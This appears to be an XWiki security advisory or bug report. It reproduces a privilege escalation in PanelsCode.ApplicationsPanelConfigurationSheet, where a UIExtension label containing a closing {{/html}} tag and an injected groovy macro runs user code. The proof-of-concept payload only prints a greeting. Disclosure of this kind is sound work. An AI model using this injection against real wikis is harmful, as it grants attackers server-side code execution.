Privilege escalation (PR) from account through PanelsCode.ApplicationsPanelConfigurationSheet

Steps to reproduce:

1. As a user without script or programming rights, open your user profile (or any other document you can edit) with the object editor (requires enabling the advanced mode).
2. Create a new object of kind XWiki.UIExtensionClass
3. Set "Extension Point ID" to org.xwiki.platform.panels.Applications
4. Set "Extension ID" to org.xwiki.platform.myuserApplication
5. Set "Extension Parameters" to

   order=100
   label={{/html}} {{async async="true" cached="false" context="doc.reference"}}{{groovy}}println("Hello " + "from groovy!"){{/groovy}}{{/async}}
   icon=pencil
   target=XWiki.username

6. Set "Extension Scope" to "Current User"
7. Click "Save & View"
8. Open PanelsCode.ApplicationsPanelConfigurationSheet (i.e., <xwiki-host>/xwiki/bin/view/PanelsCode/ApplicationsPanelConfigurationSheet where <xwiki-host> is the URL of your XWiki installation).

Expected result:

The applications are listed, an application with label

{{/html}} {{async async="true" cached="false" context="doc.reference"}}{{groovy}}println("Hello " + "from groovy!"){{/groovy}}{{/async}}

is included in the list.

Actual result:

The message

Failed to execute the [html] macro. Cause: [When using HTML content inline, you can only use inline HTML content. Block HTML content (such as tables) cannot be displayed. Try leaving an empty line before and after the macro.]. Click on this message for details.
Hello from groovy!</a>
</li>
</ul>
</div>
</div>
</div>
{{/html}}

is displayed, the list of applications isn't displayed. This demonstrates that a Groovy defined by the user has been successfully executed, or, in other words, a privilege escalation attack from account to programming rights. This is because the document PanelsCode.ApplicationsPanelConfigurationSheet doesn't properly escape all displayed parameters.